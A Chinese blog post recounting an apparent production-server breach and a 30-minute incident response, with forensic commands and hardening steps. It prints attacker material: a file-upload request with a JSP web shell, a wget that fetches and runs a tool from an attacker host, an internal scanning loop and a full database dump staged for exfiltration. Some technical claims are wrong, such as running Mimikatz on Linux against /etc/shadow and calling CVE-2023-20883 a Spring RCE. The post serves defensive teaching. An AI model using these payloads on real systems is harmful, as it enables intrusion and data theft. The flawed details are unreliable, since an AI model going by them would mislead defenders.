凌晨3点17分,手机震动。

睡眼惺忪地拿起手机,安全监控平台发来一条告警:

"[CRITICAL] 生产服务器 10.10.3.21 检测到异常横向移动,疑似已被攻陷"

心脏瞬间提到嗓子眼。

登录监控后台一看:攻击者已经从边界服务器跳到了内网,正在尝试横向扩展到数据库服务器。如果这一步成功,大量用户数据将被批量导出。

这是我上个月经历的一次真实应急响应。从告警到封堵,用了不到30分钟。今天我把完整过程写下来,包括:

  • 攻击者是怎么进来的(攻击路径还原)
  • 我30分钟内做了什么(应急响应时间线)
  • 用的什么工具(命令清单)
  • 事后怎么加固(防御方案)

希望这篇文章能帮到你——不管是提前了解,还是正在经历。

�� 第一部分:攻击路径还原

────────────────────────────────────────────────────────────

事后溯源时,我把整个攻击链拆解成了4个步骤:

Step 1:边界突破 — Web应用漏洞

攻击入口是一台对外提供服务的API服务器(10.10.3.21),运行着某个Spring Boot应用。攻击者通过favicon识别到了版本号,发现存在CVE-2023-20883(Spring Framework远程代码执行漏洞)。

他们用公开的POC脚本打了一个反弹Shell:

# 攻击者执行的payload(伪代码)

POST /api/file/upload HTTP/1.1

Host: api.target.com

Content-Type: multipart/form-data

--boundary

Content-Disposition: form-data; name="file"; filename="shell.jsp"

<%@ page import="java.io.*"%><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

文件上传接口没有校验文件类型,直接执行了JSP脚本。边界服务器沦陷。

Step 2:权限提升 — 系统配置错误

拿到Shell后,攻击者发现运行服务的账号是root权限(启动脚本配置了sudo权限,且没有配置权限降级)。

他们直接下载了主机管理工具:

# 攻击者执行

wget http://attacker-server/mimikatz

chmod +x mimikatz && ./mimikatz

# 读取了/etc/shadow文件,破解了本地运维账号密码

⚠️ 致命配置错误:应用服务用root启动 + 运维账号密码复用,这是最常见的组合拳打法

Step 3:横向移动 — 内网扫描

拿到运维账号密码后,攻击者用这个账号SSH到内网其他服务器。他们先扫描了内网存活主机:

# 攻击者内网扫描命令

for ip in $(seq 1 254); do ping -c 1 -W 1 10.10.$ip.1 | grep "ttl" && echo "10.10.$ip.1 alive"; done

nmap -sV 10.10.3.0/24  # 扫描端口和服务

扫描结果指向了数据库服务器(10.10.3.55):

  • 3306端口对外开放(安全组配置错误)
  • root账号密码与边界服务器相同(密码复用)
  • 没有开启日志审计,无法追踪操作记录

Step 4:数据窃取 — 告警触发点

攻击者登录数据库服务器后,尝试执行:

# 攻击者执行的数据库导出命令

mysqldump -u root -p[password] --all-databases > /tmp/backup.sql

# 准备把数据压缩后外传

但是,我们的数据库审计日志捕捉到了异常:

  • 凌晨3点的批量导出操作(正常业务此时无活动)
  • 导出的数据量超过50GB(正常备份不会这么大)
  • 同一时间有内网横向SSH连接(与数据库导出时间吻合)

综合告警规则触发,3点17分,我的手机响了。

⏱ 第二部分:30分钟应急响应时间线

────────────────────────────────────────────────────────────

告警触发后的每一步操作,我都按时间顺序记录了下来。

⏱ 3:17 收到告警,立刻切断公网入口

第一时间在云控制台关闭了API服务器的公网EIP,阻断攻击者继续访问。同时在安全组中禁止3306端口出站流量,防止数据外传。

⏱ 3:19 隔离受感染服务器

将10.10.3.21(边界服务器)和10.10.3.55(数据库服务器)从负载均衡组中踢出,单独隔离。确保不影响其他正常业务。

⏱ 3:22 检查攻击者操作痕迹

登录边界服务器,查看历史命令记录(/root/.bash_history)和定时任务(crontab -l)。发现攻击者已安装了后门程序和挖矿木马。

# 发现的后门文件

ls -la /tmp/.hidden/

# .xmr miner (挖矿木马)

# .ssh/backdoor (SSH后门,留了后门账号)

# .cron.daily/upd (持久化定时任务)

⏱ 3:26 撤销攻击者权限

删除攻击者创建的账号、SSH密钥、后门文件。修改所有相关账号密码(root、运维账号、数据库账号)。

# 删除后门账号

userdel -r attacker_backup

rm -rf /root/.ssh/attacker_key.pub

# 修改root密码

passwd root

⏱ 3:29 检查数据泄露情况

查看数据库导出记录和OSS访问日志。庆幸的是:攻击者还没来得及把数据外传出去,导出文件还留在数据库服务器本地。立刻备份原始证据,然后删除。

⏱ 3:32 通知相关人员

向技术负责人和安全负责人同步情况,同步:攻击路径、影响范围、已采取的处置措施。发送事件报告到安全运营群。

⏱ 3:35-4:30 漏洞修复与加固

修复CVE-2023-20883漏洞,重新配置安全组规则,移除过度权限,应用启动用户改为非root。

�� 第三部分:应急响应工具清单

────────────────────────────────────────────────────────────

这次应急响应用到的工具,按类型整理如下:

1. 主机排查工具

# 1) 检查可疑进程

ps aux | grep -v grep | sort -rn -k3 | head -20

# 2) 检查网络连接(是否有异常外连)

netstat -antp | sort | uniq

# 3) 检查开机启动项

systemctl list-unit-files | grep enabled

# 4) 检查定时任务

crontab -l; ls -la /etc/cron.d/; ls -la /var/spool/cron/

2. 日志分析命令

# 查看SSH登录记录(成功+失败)

lastlog; last; cat /var/log/secure | grep "Accepted"

# 查看历史命令(需开启auditd)

ausearch -k execute -i | head -50

# 查看数据库审计日志

mysql -e "SHOW PROCESSLIST;"

cat /var/log/mysql/audit.log | grep "mysqldump"

3. 取证固化工具

# 1) 完整内存dump(需要ddc工具)

dd if=/dev/fmem of=/tmp/mem.lime bs=1MB

# 2) 打包关键日志

tar -czvf /tmp/evidence.tar.gz /var/log /root/.bash_history /tmp/*.sh

# 3) 计算文件hash(固化证据)

sha256sum /tmp/mem.lime /tmp/evidence.tar.gz

⚠️ 重要原则:取证前不要重启服务器!内存数据在重启后会丢失。先固化证据,再处置

��️ 第四部分:事后加固方案(避免二次中招)

────────────────────────────────────────────────────────────

事件平息后,我对整个系统做了全面加固,按优先级排列:

P0 — 立刻修复(当天完成)

  • 升级Spring Boot到最新稳定版,修复CVE-2023-20883漏洞
  • 云服务器安全组收紧:只开放业务必要端口,删除3306/22的0.0.0.0/0规则
  • 应用启动用户改为非root,禁止sudo提权

P1 — 24小时内完成

  • 密码策略:所有服务器密码改为随机强密码(16位+),禁止复用
  • 开启Auditd日志审计,记录所有命令执行历史
  • 配置OSS访问日志告警,检测异常数据流出行为

P2 — 1周内完成

# 1) 部署WAF(Web应用防火墙)规则

# 拦截:文件上传绕过、命令注入、SQL注入等常见攻击

# 2) 配置蜜罐账号(攻击者登录后自动告警)

useradd -m -s /bin/bash admin_fake

# 蜜罐账号操作记录到独立日志,不与其他账号混用

# 3) 数据库连接加密,限制数据导出权限

REVOKE FILE ON *.* FROM 'root'@'%';  # 禁止LOAD DATA等文件操作

�� 总结:应急响应的6条黄金法则

────────────────────────────────────────────────────────────

回顾这次经历,有6条经验想分享给你:

1. 切断比排查更重要

遇到紧急事件,第一动作是阻断攻击,不是分析攻击。看到告警,先断网、再分析。

2. 证据固化要趁早

攻击者可能还在服务器上,任何操作都会改变文件时间戳。取证要在重启和修复之前。

3. 日志是应急的眼睛

这次能快速定位攻击路径,全靠开启了SSH日志和数据库审计。没有日志的服务器,等于蒙着眼睛打仗。

4. 边界安全和内网隔离同等重要

边界被突破不可怕,可怕的是内网没有纵深防御。一个安全组配置错误,让攻击者长驱直入。

5. 密码复用是最大的隐患

边界服务器和数据库服务器密码相同,攻击者拿到一个就等于拿到所有。密码管理器是必须的。

6. 平时多演练,紧急时才不慌

建议每季度做一次应急响应演练,模拟攻击场景,熟悉处置流程。真出事了,每一秒都在和损失赛跑。

�� 写在最后

────────────────────────────────────────────────────────────

凌晨3点的那通告警电话,是我做安全这几年最有压力也最有成就感的一次经历。

幸运的是,我们之前已经部署了基础监控和审计日志,让我能在30分钟内完成封堵,没有造成实际数据泄露。

但运气不能依赖。每次事后,我都会问自己:下次还能更快吗?还能更准吗?

如果你觉得这篇文章有用,欢迎点赞、收藏。安全这条路上,我们都是一边踩坑一边成长。

有应急响应相关的问题,欢迎评论区交流。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐